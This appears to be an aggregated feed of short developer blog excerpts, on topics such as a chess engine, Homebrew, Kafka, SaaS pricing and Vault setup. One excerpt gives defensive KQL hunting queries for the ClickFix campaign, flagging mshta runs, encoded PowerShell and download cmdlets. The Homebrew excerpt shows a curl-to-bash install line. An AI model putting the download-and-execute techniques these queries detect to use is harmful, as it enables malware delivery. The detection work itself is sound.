So yesterday i started working on my chess engine, written in c++,i'm writing these blogs and a couple more i'll write in the future for quite a selfish reason (to track my progress) and also because i want someone else, confused like me in the future to use this, hopefully, as a road map to write their engine. right so i started yesterday, i started with well board representation, I'm a programmer not a writer so please forgive my fuck ups here and there, some times i won't make sense but lie to yourself and pretend you do understand what i'm on. I chose the most intuitive approach, the 8x8 array representation. ` from there i basically hard-coded each each in the 8x8 array. and then proceeded to have print function, which prints the pieces on the console, it maps a string i hard-coded to the enum values. something like 1.pieces = " PNBRQKpnbrqk" loop through array[8x8] check if array[i][j]!=empty if yes print " . " if no print pieces[array[i][j]] it works only because the string indices and the enum piece value match, hopefully that makes sense right now i just implemented a simple no rule move function this is my repo to keep up if you like https://github.com/PainIam/Pain_ENGINE  ( 6 min )

Links Homebrew asdf - version manager Homebrew es un gestor de paquetes de línea de comandos gratuito y de código abierto diseñado para macOS (y también Linux, bajo el nombre de Linuxbrew o Homebrew on Linux). Su propósito principal es simplificar la instalación y administración de software que Apple no incluye de forma nativa. ¿Para qué sirve? Te permite instalar miles de utilidades, herramientas de desarrollo (como Git, Node.js, Python), y otras aplicaciones con comandos simples como brew install . En esencia, facilita a los desarrolladores y usuarios avanzados obtener el software que necesitan en su sistema sin tener que compilarlo manualmente o buscar instaladores individuales. Es como una "tienda de aplicaciones" para tu terminal. /bin/bash -c "$(curl -fsSL https://raw.git…  ( 8 min )

This guide explains how to properly set up COQ.nvim autocomplete Mason and LSP servers in Neovim. It includes the most Make sure you have: ms-jpq/coq_nvim ms-jpq/coq.artifacts (optional, extra completions) williamboman/mason.nvim williamboman/mason-lspconfig.nvim neovim/nvim-lspconfig Example (lazy.nvim): { "ms-jpq/coq_nvim", branch = "coq", }, { "ms-jpq/coq.artifacts", branch = "artifacts", }, { "williamboman/mason.nvim", config = true, }, { "williamboman/mason-lspconfig.nvim", dependencies = { "neovim/nvim-lspconfig" }, }, COQ does not start automatically unless configured. vim.g.coq_settings = { auto_start = 'shut-up' } Alternatively, use manually later: :COQnow require("mason").setup() local coq = require("coq") require("mason-lspconfig").setup({ …  ( 6 min )

You can find the original post on my blog Lately I've found myself wanting to work on some side project ideas. Every time I had to implement the same stuff again and again: basic library configuration, routing, layout, forms, authentication. Most of the time I would start a project using Vite and copy-paste parts from other apps I'd worked on. That alone could take a couple of hours or days without making any progress on my idea. The things I usually need are simple. I like working with Tanstack Query for handling HTTP requests and caching. I implement authentication using sessions where an HTTP-only cookie is set by the backend, and on the frontend I make a request against a /me or /user endpoint to check if the user has a session. I set up some interceptors to log the user out on 401 req…  ( 7 min )

The examples in this post are available in a demo repository here: https://github.com/liavzi/custom-open-api-ts-client. In one of the projects I'm working on, we use a simple API service to communicate with the server: export class ApiService { private baseUrl = ''; constructor() { } get(endpoint: string): Observable { ... } post(endpoint: string, body: any: Observable { ... } } // when I need to use it apiService.get("iHateToCopyThisEveryTime").subscribe(response: AnotherTypeINeedToManuallyCreateEveryTime) => {}); The first problem is that I always have to manually pass the endpoint URL. This usually means copy pasting it from the backend, which is repetitive and easy to mess up. The second problem is even worse: whenever I need to GET or POST json dat…  ( 10 min )

You know the drill. You need to run a script once to fix some data, update user preferences, or migrate something. You write a rake task, run it, and then... did it actually run? Did it work? If something breaks halfway through, how do you know where to restart? I got tired of this cycle, so I built script_tracker - a Ruby gem that treats your one-off scripts like migrations (but better). What it does: Tracks which scripts have run (no more "did I run this already?") Wraps everything in transactions (rollback on failure) Built-in progress logging ("Processing 1,247 of 10,000 users...") Batch processing helpers (because memory matters) Timeout support (no more runaway scripts) Simple rake commands to manage everything Before: # Some random rake task # Did this run? Who knows! rake data:fix_user_preferences After: # Clean, tracked, logged rake scripts:create["fix user preferences"] rake scripts:run rake scripts:status # See what ran and when The best part? If your script fails halfway through, you know exactly where, and you can handle retries properly. Why I built this: Real talk: This started as internal tooling at my company. We had too many “wait, did that script run?” conversations. Now our data migrations are as reliable as our schema migrations. The gem is open source and ready to use. Would love feedback from fellow Rails developers who’ve felt this pain. Check it out: https://github.com/a-abdellatif98/script_tracker What’s your biggest one-off script horror story? I bet this would have prevented it.  ( 7 min )

TL/DR: the larger your files are, the more you will likely pay for tokens using AI Sometimes files bloat: someone got lazy and did not separate concerns, someone was rushed to release the feature, someone silently quit or could care less. It is impossible to catalogue all the possible reasons. There are different views on the file sizes in the codebase, especially when it comes to frontend development, with some developers considering fine grained small files with single export, as was the case with one of the Angular's older style guides, or loose suggestions as it was once in React: see what works for you, you can start by putting everything in one file, or something like that. Both are valid approaches and usually developers go by their preferences. Yet, it is the end of 2025 and everyo…  ( 10 min )

Short answer: write your own browser plugin/extension. This is not overly difficult, thanks to today's abundance of documentation and samples.  ( 6 min )

When organizations begin adopting AI across their software delivery lifecycle, the first question is always the same: “How do we measure success?”. It sounds straightforward, but it’s one of the hardest parts of the transformation. What looks like success on a dashboard often hides the real story underneath. Most teams still rely on familiar SDLC metrics: velocity, cycle time, defect counts. These numbers look objective, but in AI-driven delivery they become vanity metrics when interpreted the old way. They show motion, not progress. Traditional metrics were designed for a world without self-learning systems. In AI-enhanced teams, early improvements are non-linear, often invisible, and rarely captured by the dashboards leaders are used to. During the transformation process, the first few s…  ( 9 min )

Here's something that'll surprise exactly no one: buying followers is still happening. In 2025. With all the detection tools, platform crackdowns, and public embarrassments. But here's what actually is surprising—the brands winning at influencer marketing right now aren't the ones throwing money at accounts with a million followers. They're working with creators who have 3,000 engaged followers and conversion rates that would make your performance marketing team weep with joy. The influencer marketing landscape has split into two parallel universes. In one, brands still chase vanity metrics and celebrity partnerships that look great in boardroom presentations. In the other, smart marketers are building creator networks that actually move product and build communities. Guess which one has b…  ( 13 min )

A post by Engr. Ipaye Babatunde  ( 6 min )

I was building allpub.co (a smart cross-platform publishing tool) when I hit a problem that code couldn't solve: which LLM should I actually use? It's late. I need AI-powered title generation, SEO extraction, and summaries for AllPub. Simple, right? Not even close. Should I use GPT-4? Great quality but insanely expensive. Claude 3 Haiku? Cheap but will it work well enough? Mistral? Llama? Deepseek? Each one has different tradeoffs. Speed versus cost. Quality versus infrastructure headaches. Three hours later I've got 47 browser tabs open and zero clarity. The frustrating part? I'm a developer. I can code anything. But I have no idea which LLM is actually right for my use case. And I'm betting thousands of other builders feel the exact same way. So I built a decision matrix. What's my actua…  ( 7 min )

Hey, guys! Using a voice transcription AI tool, like Cursor's native recorder or "Wispr Flow", I brain dump all my ideas and requirements into text and save it in a PRD.md file or in a Google Doc. I also attach a bunch of other copy-pasted text that might be related to that project. I personally go with npx create-next-app@latest my-next-app --tailwind --typescript --eslint --app --turbopack and npx shadcn@latest init. Then, I use an AI Agent tool, such as Claude Code, to create the project. I paste the document create before into a prompt and add some extra details, for example: Project in nextjs, tailwind, shadcn components (don't create them, import them using shadcn commands), @neondatabase/serverless Neon DB, @stackframe/stack Stack Auth Full Prompt: https://gist.github.com/Markkop/765612eecb7f6a7e1c2564eda03b228b Now, using Claude Code and Cursor, I finish the integrations I want and the fixes needed. I also try to leverage AI at max via Playwright MCP/Chrome MCP/Cursor (browser testing) and Neon MCP (db updates). This is where I most leverage my dev knowledge: I guide the AI to build the features I plan, change libraries, follow patterns and so on. Finally, when I have something okayish to release, I setup Vercel and domains. When I started writing this post, I realized there's a lot of more profound knowledge applied to the process that is too much for write in a single post, so take this more as an overview of the process  ( 6 min )

How all the pieces fit together to create a powerful streaming platform Understand the "Big Picture" - How events, topics, partitions, producers, consumers, brokers, and consumer groups all work together as one cohesive system. Think of this as getting a bird's eye view of the entire Kafka ecosystem! 🦅 The fundamental unit - an immutable fact representing something that happened. ┌─────────────────────────────────────┐ │ EVENT/RECORD │ ├─────────────────────────────────────┤ │ Key: user_456 │ │ Value: {"action": "purchase"} │ │ Timestamp: 2025-11-18 14:30:00 │ └─────────────────────────────────────┘ Everything in Kafka revolves around these! A collection of servers working together - NOT just one server! KAFKA CLUSTER ┌─────…  ( 14 min )

Exploring funded brick-and-mortar companies on Wefunder isn’t easy, so I asked Replit Agent to build a map and see how much time AI could save me versus doing it manually. In about 3 hours and for roughly $22, it produced a fully searchable map of funded companies. Most of the cost came from the Agent inefficiently debugging an API integration and unnecessary reloads. If I had built it myself, it probably would’ve taken 4–5 hours to design, build, test, and deploy. Check out the code or explore the map below: Repo: 🔗 Wefunder Brick & Mortar App by kenakingkong on Replit Demo: 🔗 wefunder-brick-and-mortar-map.replit.app Keep reading for a full breakdown of what worked, what didn’t, and where AI saved time versus where it didn’t. Wefunder has thousands of funded companies, but the only way…  ( 8 min )

🎯 Step 0 — Validate the Problem Before you touch a line of code. Checklist: Can you describe the problem in one sentence? Have you talked to real humans with this problem? Are they already solving it with Excel / Notion / duct tape? Would they pay for a better solution? If yes → continue. If no → stop coding. Your MVP is not v1.0 — it's an experiment. Rules: One core feature One user flow Zero optional settings As little code as possible If you’re building microservices for an MVP — you're doing it wrong. Dev brain says: “Let me polish this 3 more weeks…” Ignore it. Announce your MVP in: Twitter/X Reddit Dev.to 😏 IndieHackers Niche communities Private Discord/Slack groups You aren’t launching a product — you're launching a conversation with users. Collect: Where users drop off What they click What confuses them What they expected to happen What they tried but couldn't do Then: Fix the biggest blockers Kill unused features Add what users repeatedly request Charging money early is not greedy — it's validation. Try: Beta pricing Preorders Founding users plan Usage-based billing Monthly subscriptions If people pay → real problem. If they don't → hobby project. Only after users ask for: Teams support API access Features in your backlog Reliability & uptime Then: Architect properly Add monitoring Set up CI/CD Secure the system Think about DB scaling Don’t start here — finish here. Don’t fall in love with code — fall in love with the problem Speed > Perfection User feedback > Your intuition Simple > Beautiful Done > Perfect Launch → Learn → Iterate → Repeat Go build it. 🚀  ( 7 min )

You’ve seen it a thousand times. You pull data from an API, scrape a webpage, or process a user submission, and what you get is a chaotic mess of text. Inconsistent capitalization, unwanted whitespace, jumbled formats—it’s the digital equivalent of a tangled ball of yarn. In the era of large language models and data-driven everything, our ability to expertly untangle and reshape this textual data is no longer a niche skill; it’s a foundational pillar of building intelligent, robust software. Python, with its design philosophy emphasizing readability and power, offers a superior toolkit for this very challenge. But mastering its str type goes beyond knowing how to declare a variable. It’s about understanding the subtle mechanics of immutability, the efficiency of different manipulation tech…  ( 12 min )

Advent of Code 2024 Day 19 Part 1 This may be...like...really tricky The way I see it: I'm given a list of substrings And a list of long strings that contain many of the substrings, often the same one multiple times I have to match every character in a long string to some part or whole of the substrings Only when every character matches is the long string valid If even one character doesn't match, the long string is invalid The example's first desired design offers a glimpse at how complicated this process could be: r, wr, b, g, bwu, rb, gb, br brwrr Let's say I catalogued the patterns by their length: { 1: [r,b,g], 2: [wr,rb,gb,br], 3: [bwu] } The max length of a pattern is three, so I should never try to match more than three characters at a time. T…  ( 19 min )

Modern React applications are more powerful than ever—but that power comes at a cost. As components grow, data flows become complex, and user expectations rise, performance quickly becomes a critical success factor. Slow rendering, heavy bundles, and inefficient state updates don’t just affect metrics—they directly impact user satisfaction and business outcomes. Profiling and optimization are no longer optional skills; they’re essential for every frontend engineer building scalable, production-grade React apps. This guide provides a structured, hands-on walkthrough of how to identify performance bottlenecks, understand what metrics matter, and apply effective optimization strategies using modern React APIs and tooling. React’s declarative nature simplifies UI development—but it also masks …  ( 9 min )

The capacity to perceive and manage emotions separates competent managers from truly impactful leaders. This attribute, often termed emotional intelligence, is an invisible but profound source of influence within a business. It extends beyond technical skill and cognitive sharpness, resting instead on a leader’s ability to connect with and motivate people through shared understanding. The development of such sensitivity is not a sudden epiphany but a gradual process of exposure and introspection. A powerful method for cultivating growth is through consistent, thoughtful engagement with narrative and expert analysis, primarily found in literature and modern audio content. One of the central functions of literature is to provide simulated experience without real-world risk. By entering the n…  ( 10 min )

Am I alone when I noticed that CakePHP API reference doesn't show class ancestor tree and implemented interfaces in each class page? 😮😮😮😮😮  ( 5 min )

Most programmers know about platforms like LeetCode, HackerRank, or Codeforces, and likely know the thrill of solving problems under constraints: time limits, memory budgets, edge cases, and algorithmic cleverness. But an elite few know about a different kind of challenge: quirky, creative, and surprisingly addictive: Code Golf. There are many places to play code golf. You probably have encountered Code Golf Stack Exchange in the sidebar on stack overflow, and the very competitive Code.golf. There are also smaller platforms like Byte Heist. (Disclaimer: I am affiliated with Byte Heist) In competitive coding, you usually optimize for speed or correctness. Your mission: It's two layers of puzzle: Your solution must work, but you must also contort and re-imagine it until it barely resembles t…  ( 9 min )

SQL databases offer several join algorithms. The query planner selects the most efficient one by evaluating cardinality and estimated cost. For example, a Nested Loop join is ideal when the outer table has few rows and an index allows fast access to the inner table. In contrast, a Hash Join is better suited for situations where the outer table contains many rows and the inner table must be fully scanned, resulting in fewer costly loops. While MongoDB provides similar algorithms, adapted to flexible documents, being a NoSQL database means it shifts more responsibility to the developer. Developers must design for optimal data access, already in the data model, but has the advantage of resulting in more predictable performance. I'll base my example on a question on Reddit: Optimizing a MongoD…  ( 11 min )

Hi everyone! 👋 My name is Serhii. I’m a .NET developer with 6+ years of experience and the founder of TaskJect (https://taskject.com) — a lightweight project-management tool built for small technical teams. Here on Dev.to I’ll be sharing the technical journey behind building TaskJect, lessons from running a small SaaS as a solo founder, and practical insights from real .NET development in production. Today, I want to talk about low pricing of SaaS services. How Is the Price Actually Formed? I keep asking myself this from time to time — especially when I look for a new tool and the price instantly turns me away. When I started building my own product, I set a goal to define a “minimum acceptable price” for users. Here’s what I mean by that as a technical specialist: Infrastructure You need to calculate exactly how many hardware resources one user consumes: servers, storage, databases, backups, monitoring — all of this forms the baseline cost. Technical Maintenance You need at least one engineer who will: handle system errors, maintain stability, ensure uptime, updates, and security. Technically, that’s all you need for a stable SaaS. So in theory, the final price could be quite low. But Here’s the Reality: Why “Cheap SaaS” Becomes a Problem ❗ 1. The market distrusts very low prices If it’s too cheap, people assume it’s a scam or an unstable product. There’s a psychological trust threshold. ❗ 2. Competition makes everything more expensive Getting user attention is the biggest hidden cost. And who wins this competition? The companies that can spend more and they can spend more because they earn more. In the end, there’s a paradox: Technically, SaaS could be cheap — but the market and competition push prices up.  ( 6 min )

Este año tuve la oportunidad de participar en el AWS community day Bolivia, la solo fue una presentación técnica… fue basado en mi experiencia profesional y la forma de ver el rol DevOps hoy. ¿Por qué hablar de esto? Inspirandome en charlas del AWS RE:Invent 2024 nació mi charla No solo hable de herramientas, quería mostrar como estamos entrando en una etapa, done la IA ya es parte de nuestro día a día. El Camino hasta DevOps Seguridad.- Asegurarnos que nuestra aplicación no sea vulnerable Automatización CI/CD IaC Testing & monitoring Version control Feedback loops La IA Generativa como nueva etapa de DevOps ✅ Integración Continua: Reducción de distracciones para desarrolladores.- A veces nos cuesta entender los requerimientos que están en JIRA u otra app similar, aca podemos apoyarnos en…  ( 7 min )

Now that you’ve gotten into the habit of working with Claude Code, you’re probably curious to see how efficiently you’re using it. For example, do you know how many tokens it’s taking you to complete a ticket on average? Since Claude tokens can run out and will reset after 5 hours, you might want to see how much you’re pushing it to the limit. We’ve tried three different ways to track our Claude Code usage. Here’s what we found. If you’re using the Anthropic API for Claude Code access (instead of through a Pro or Max plan), you can track your usage through the Anthropic Console. This is useful for devs and orgs who are doing the “pay as you go” approach, because your number of tokens consumed is directly correlated to how much you’re spending. If you’re a manager, you can see usage trends …  ( 8 min )

KI zeigt nicht die Zukunft des B2B-Marketings. Sie zeigt, wie schwach es bisher war. Viele diskutieren darüber, ob KI das Marketing übernimmt. Ob Texter verschwinden. Ob Content wertlos wird. Die Wahrheit ist einfacher: KI ersetzt nicht das Marketing. KI ersetzt Marketing ohne Haltung. Die meisten B2B-Websites klingen identisch. „führend“ „innovativ“ „zuverlässig“ „maßgeschneidert“ Das sind keine Aussagen, das ist Verpackung. KI klingt nicht künstlich. Viele Unternehmen tun es. Und KI zeigt diesen Zustand jetzt ungeschönt. KI kann: strukturieren zusammenfassen erweitern glätten Was KI nicht kann: Position beziehen Risiko tragen Verantwortung übernehmen mutige Aussagen treffen Alles, was schon vorher wie Fließbandarbeit war, wirkt jetzt ersetzbar – weil es das ist. B2B entscheidet nicht wegen eines Posts. Auch nicht wegen 20. B2B entscheidet wegen: Vertrauen Expertise Klarheit Risikominimierung KI kann Text erzeugen. Aber KI kann keine Überzeugung erzeugen. Wenn ein Unternehmen unklar kommuniziert: KI skaliert Unklarheit. Wenn ein Unternehmen klare Aussagen trifft: KI skaliert Klarheit. Damit entstehen zwei Arten von Marken: Wer sagt, was Sache ist, wird durch KI stärker. Wer austauschbar klingt, wird durch KI noch austauschbarer. Sondern: „Was haben wir überhaupt zu sagen?“ Ein Unternehmen ohne Klarheit bekommt auch mit KI keine. Ein Unternehmen ohne klare Kundensprache bekommt auch mit Prompts keinen Tonfall. Technologie ohne Haltung ist ein Lautsprecher ohne Botschaft. KI wird Milliarden Texte produzieren. Viele davon „gut“. Nur wenige davon wirkungsvoll. KI beendet nicht die Kreativität. KI beendet die Ausreden. Wer Beispiele für klare Sprache im B2B sucht: https://plainrebels.com  ( 7 min )

TL;DR: I built an open-source framework that gives AI persistent memory across platforms. Your ChatGPT conversations can inform Claude, your Claude chats can continue in Gemini. True data portability, privacy-first. Watch how memory persists when switching between ChatGPT, Claude, and other LLMs We've all been there: ChatGPT forgets your conversation from yesterday Claude doesn't know what you discussed with ChatGPT Gemini starts fresh every time Your data is locked to each platform Export options? LOL, good luck I was frustrated. I wanted my AI to remember me, know my preferences, and travel with me across platforms. So I built LuminoraCore. LuminoraCore isn't about building yet another chatbot. It's about creating portable AI identities that persist across: 🔄 Any LLM provider (OpenA…  ( 10 min )

While investigating potential exposure to the recently reported EVALUSION ClickFix campaign, which abuses user-interaction-driven execution via the Win + R Run dialog, I focused on identifying suspicious execution patterns aligned with delivery behavior observed in the campaign. This campaign ultimately deploys Amatera Stealer and NetSupport RAT through a .NET-based downloader delivered from public file-sharing platforms. Detection #1 , Detect suspicious user-initiated execution via the Run dialog (Win + R) where the attacker abuses RunMRU registry key updates to execute payloads such as PowerShell or MSHTA — a core TTP observed in the ClickFix EVALUSION campaign DeviceRegistryEvents //| project Process_Creation, ProcessCreated, DeviceName, InitiatingProcessAccountName, FileName ,ProcessCommandLine Detection #2 – Suspicious mshta.exe Execution DeviceProcessEvents Detection #3 – Detect potentially malicious PowerShell execution DeviceProcessEvents (From.*Base64)." // Base64 payload decoding Detection #4 – This detection identifies cases where a file is downloaded from MediaFire—a file-hosting platform frequently abused by threat actors—and correlates it with suspicious PowerShell execution occurring within 10 seconds of the download event. DeviceFileEvents (From.*Base64)." Detection #5 – MSBuild-Spawned PowerShell Download Activity DeviceProcessEvents | where InitiatingProcessFileName =~ "msbuild.exe" | where FileName in~ ("powershell.exe","pwsh.exe") | where ProcessCommandLine has_any ("Invoke-WebRequest","DownloadFile","http","https","-enc","FromBase64String") | project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName  ( 7 min )

The Problem That Kept Me Up at Night Here's something that doesn't get talked about enough: your encrypted data today could be decrypted tomorrow. It's called "harvest now, decrypt later" - adversaries are collecting encrypted communications right now, waiting for quantum computers powerful enough to break RSA and ECC. When that day comes (and cryptographers say it's not if, but when), all that data becomes readable. That thought led me to build Hermes - a secure file transfer system that's designed to survive the quantum apocalypse. Hermes is a command-line tool (and now web UI!) for secure file transfer that combines: RSA-4096 (battle-tested classical encryption) Kyber-1024 (NIST-selected post-quantum algorithm) Dilithium-5 (post-quantum digital signatures) AES-256-GCM (symmetric encry…  ( 10 min )

Files First create a directory for put the config files, i will put in /opt/vault Create the docker-compose.yml services: init_vault: image: alpine:latest container_name: init_vault group_add: - 3001 volumes: - vault-data:/vault/data:rw - certs:/tmp/certs/:rw - secrets:/secrets:rw command: > /bin/sh -c "apk add --no-cache openssl && \ openssl req -x509 -newkey rsa:4096 -sha256 -days 365 \ -nodes -keyout /tmp/certs/vault-key.pem -out /tmp/certs/vault-cert.pem \ -subj '/CN=vault' \ -addext 'subjectAltName=DNS:vault,IP:127.0.0.1' && \ chown -R 100:3001 /vault/ /tmp/certs /secrets && \ chmod -R 0750 /secrets/ && \ exit 0" vault: image: "hashicorp/vault:latest" restart: unless-stopped …  ( 10 min )

Hey dev community! 👋 I'm excited to share Datana - a project I've been passionately working on that brings enterprise-level security to local database management. In a world where data breaches are daily news, I wanted to create something that gives developers and organizations complete control over their sensitive data. No cloud dependencies, no third-party risks - just pure, secure local storage. Datana is a secure, terminal-based database system that doesn't compromise on security or features. Think of it as your own personal vault for sensitive data. python from cryptography.fernet import Fernet from core.config_manager import get_encryption_key key = get_encryption_key() fernet = Fernet(key) encrypted_data = fernet.encrypt(sensitive_data) Clone and setup git clone https://github.com/ashkanmirgomari/datana.git cd datana pip install -r requirements.txt # 2. Run (first time creates default users) python project.py # 3. Login with: # Username: root # Password: root Progress Animations: Beautiful loading bars for all operations Advanced Search: Regex, date ranges, field-specific queries Auto-backup: Configurable automatic encrypted backups System Analytics: Real-time monitoring and reporting Export Capabilities: CSV exports with custom formatting This is just the beginning! I'd love to: Hear your feature suggestions Get security audits from the community See forks for specific use cases Collaborate on enterprise features Check out the GitHub repo and let me know what you think! ⭐ GitHub: https://github.com/ashkanmirgomari/datana Would love to hear your thoughts, suggestions, and use cases! What features would you add? 🔥  ( 6 min )

We decreased conversions by 34% in a single afternoon. Not the headline you typically see in conversion rate optimization case studies, is it? Most articles promise 10x growth with three simple button color changes. (Spoiler: that's not how any of this works.) But here's what happened, and more importantly, what it taught us about CRO that actually matters in 2025. The page in question was converting at 8.2%—solid for a mid-funnel resource. Someone on the team suggested we "optimize" it with a more prominent CTA, cleaner design, and some urgency language. Classic CRO playbook stuff. We ran the test. Conversions tanked. Turns out, people were using that page as a research tool. They'd bookmark it, share it with colleagues, come back multiple times. Our "optimization" turned a useful resour…  ( 12 min )

Clean architecture with Next.js Daniel Malek ・ Aug 5 '24 #nextjs #cleancode #architecture #javascript  ( 6 min )

The Complete Guide: Connecting Power BI to PostgreSQL (Localhost & Aiven Cloud) Introduction Part 1: Connecting to Local PostgreSQL Prerequisites Step 1: Install PostgreSQL ODBC Driver Go to ODBC Data Sources in Windows Search Check if PostgreSQL Unicode or PostgreSQL ANSI driver exist If missing, download from: link # Official PostgreSQL ODBC driver https://www.postgresql.org/ftp/odbc/versions/ Step 2: Power BI Connection Setup Open Power BI Desktop Click Get Data → More... Select Database → PostgreSQL database Click Connect Step 3: Configure Connection Parameters Fill in your local PostgreSQL details: text Server: localhost Database: your_database_name Username: your_username Password: your_password Step 4: Data Preview and Load Select tables or write custom SQL P…  ( 8 min )

If you work with automation or you are exploring how to orchestrate tasks across different services, n8n is one of the most flexible tools you can start with. It is built around the idea of connecting systems, transforming data, triggering events, and even running agent style logic that reacts intelligently to inputs. You get a visual editor that represents each step clearly, but you still have full access to expressions, custom code, and advanced control over how your data flows. Because of this, n8n is useful for both simple workflows and more complex automation patterns. You can build integrations, background jobs, data pipelines, and small autonomous agents that make decisions without your involvement. In this guide we will create a small but practical workflow. It collects user input …  ( 8 min )

I spent an hour last week reviewing a client's Google Ads account. They'd burned through $18,000 in three months with exactly seven conversions to show for it. The kicker? Their previous agency had called this "building momentum." Welcome to PPC in 2025, where the platforms have never been more sophisticated and the opportunities to waste money have never been more creative. Look, paid advertising still works. But the gap between what works and what agencies sell you has turned into a canyon. The automation is better, the targeting is (theoretically) smarter, and somehow campaigns are harder to manage than ever. Let's talk about what's actually happening with your ad spend. Google and Meta want you to believe their AI can handle everything. Just set it and forget it, right? Wrong. Here's w…  ( 11 min )

For a long time, I walked around like my brain was somewhere else. You know that feeling where you’re doing everything on autopilot? That was basically my whole routine. Wake up. Work. Eat something random. Zone out. Sleep. Repeat. Nothing felt interesting, and I didn’t notice much around me anymore. I’d miss little things all the time because I just wasn’t really there, even when I was. Then one night, I was sitting at my desk after a long day, and I realized I’d been staring at the same pen for like twenty minutes. Not even thinking about it. Just looking at it without really seeing it. I picked it up and started rolling it in my hand. I don’t know what made me grab my sketchbook, but I did. I figured drawing the pen would at least give my brain something to chew on. The drawing came out…  ( 12 min )

I’ve used Git every day for years, but I realized I never really knew what happens behind the scenes. How does Git track changes? What does a commit actually store? How do branches and merges work internally? To answer these questions, I decided to build my own minimal Git clone from scratch — a small, hands-on project I call GitLite. Instead of just reading about Git’s architecture, I wanted to experience it: implement the core mechanics myself, experiment with commits, branches, merges, and see exactly how Git organizes its data. GitLite supports a simplified Git workflow: Staging files in a basic index Creating commits that capture snapshots and history Managing branches as simple pointers to commits Switching between branches Performing fast-forward merges Inspecting commit history and repository status The project is educational, not meant for real-world use. But building it helped me understand Git in a concrete, practical way — far beyond what tutorials or documentation can show. I also documented every step, so anyone interested can follow along and try it themselves. 🧩 GitLite repository and documentation: https://github.com/ironrinox/git-lite If you’ve ever wondered how Git really works, this project is a hands-on way to explore it.  ( 6 min )

Introduction Knowing the calorie count in the food you consume daily can help you maintain a healthy diet. But, manual calorie counting can be difficult, especially for foods without labels. With computer vision, we can now automate calorie estimation for any food. In this tutorial, we’ll build an agent that estimates and tracks your total calorie consumption throughout the day. We will leverage computer vision through the Vision Agents SDK for this. By the end, you’ll be able to point your camera at a portion of food, and the agent will estimate portion size and calories. Vision Agents (explore the code on GitHub) is a framework that enables developers to build real-time voice and video AI applications using any LLM and video edge network. The Vision Agents framework combines a series…  ( 16 min )

Video-rich content performs incredibly well in Google, but there’s one thing most creators forget: search engines can’t fully understand your embedded videos unless you give them structured data. That’s where VideoObject schema comes in. It tells Google details like: Video title Description Thumbnail Duration Upload date Embed URL If you’ve ever wondered why some videos appear with rich snippets and others don’t, schema markup is usually the difference. In this tutorial, I’ll show you how to generate video schema automatically from any YouTube link. No coding. No manual formatting. No JSON headaches. We’ll use a free generator that fetches metadata instantly and outputs clean JSON-LD you can paste directly into your website. Google treats videos as a separate content type. If your page inc…  ( 8 min )

If you're running Ubuntu in VirtualBox on Windows and want to SSH into it from your Windows terminal - this guide walks you through everything clearly. This is perfect if you want to: Practice Linux server administration Access your VM like a remote machine Simulate multiple user sessions Run commands from Windows without using the VM window Let’s get started. Open your Ubuntu terminal and switch to root (optional but convenient): sudo -i Install the SSH server: apt install openssh-server Check whether SSH server is running: systemctl status ssh If you see "active (running)", you're good. SSH sometimes disables password login by default. Open the SSH server config: nano /etc/ssh/sshd_config Find this line: #PasswordAuthentication no Change it to: Pas…  ( 7 min )

"Migrate my app from x language to y language." You hit enter, watch your AI agent spin its wheels, and eventually every success story you've heard feels like a carefully orchestrated lie. Most failures have less to do with the agent's capability and more to do with poor prompt and context strategy. Think about it: if someone dropped you into a complex, unfamiliar codebase and said "migrate this," you'd be lost without a plan. You'd need to explore the code, ask questions about its structure, and break the work into manageable steps. Your AI agent needs the same approach: guided exploration, strategic questions, and decomposed tasks. I recently put this approach into practice with goose, migrating a legacy LLM credit provisioning system split across two repositories (React/Vite frontend an…  ( 11 min )

Looking for Advice as a Junior Fullstack Developer (Java, Node.js, React) Hi everyone 👋, My name is Alejandro Tacoronte, and I completed my (Cross-Platform Application Development) studies in 2024. I’m currently looking to grow as a junior fullstack developer and would love to get advice from those with experience in the industry. I have experience and knowledge in: Backend: Java and Node.js Frontend: Some experience with React Databases: SQL Version Control: Git I’ve worked on projects during my studies and internships, and now I want to build my own projects that demonstrate my skills and ability to learn. 💡 I’d love to ask the community: What “mini projects” would you recommend for a junior fullstack developer to stand out? Which technologies or frameworks are most relevant in 2025? Any advice on how to showcase skills effectively, even without years of professional experience? I’d greatly appreciate any tips, resources, or personal experiences. 🙏 Thanks for reading! I’m looking forward to sharing my progress and learning alongside you all.  ( 6 min )

Unless you’ve been living under a rock, it’s hard to miss the rise of Generative AI. At the centre of this movement are Large Language Models (LLMs) such as Google’s Gemini and OpenAI’s ChatGPT. Typically, building solutions around these models involves sending data to their APIs and receiving a response. But not everyone is comfortable with this approach. Concerns around privacy, trust, legal compliance, and governance often arise. This is where on-device AI comes in: data is processed locally, addressing most of these issues. In this article, we’ll explore how to use the Chrome On-Device Prompt API to process data locally. This is the first in a series of articles covering Chrome’s on-device AI capabilities. Make sure you’re running the latest version of Chrome (currently version 142). T…  ( 8 min )

Generative AI is more than another technology buzzword. It marks a structural shift in how organizations use machines: from systems that mostly analyze existing data to systems that can create new content—text, images, audio, video, code, and even synthetic datasets. Generative AI can also draft the email to the customer, produce the visuals for the campaign, generate the code change, or simulate thousands of edge cases for testing. Instead of sitting at the end of a data pipeline as an afterthought, it is becoming a core production layer that accelerates content creation, decision-making, and product iteration across the business. For leaders, this means generative AI should not be treated as a novelty or a marketing gimmick. It should be viewed as an engine for efficiency and differentia…  ( 9 min )

frameit.dev - fast and free video thumbs, title cards and OG images Ed Spencer ・ Nov 17 #opensource #frameit #react #typescript  ( 5 min )

The Shift Towards Agentic AI: What It Means for Developers Let's cut through the hype: agentic AI isn't some distant future concept anymore. By mid-2025, we're seeing a clear shift from experimental prototypes to production systems that actually ship. But here's the reality check—developers remain cautious, and for good reason. Quality concerns and trust issues are real obstacles we need to address. The question isn't whether agentic AI will transform development workflows—it already is. The question is: how do we implement it pragmatically, without falling into the trap of over-engineering or blindly trusting autonomous systems? The difference between 2024's experimental agents and 2025's production systems comes down to maturity. Forward-thinking companies are now using agentic AI to a…  ( 11 min )

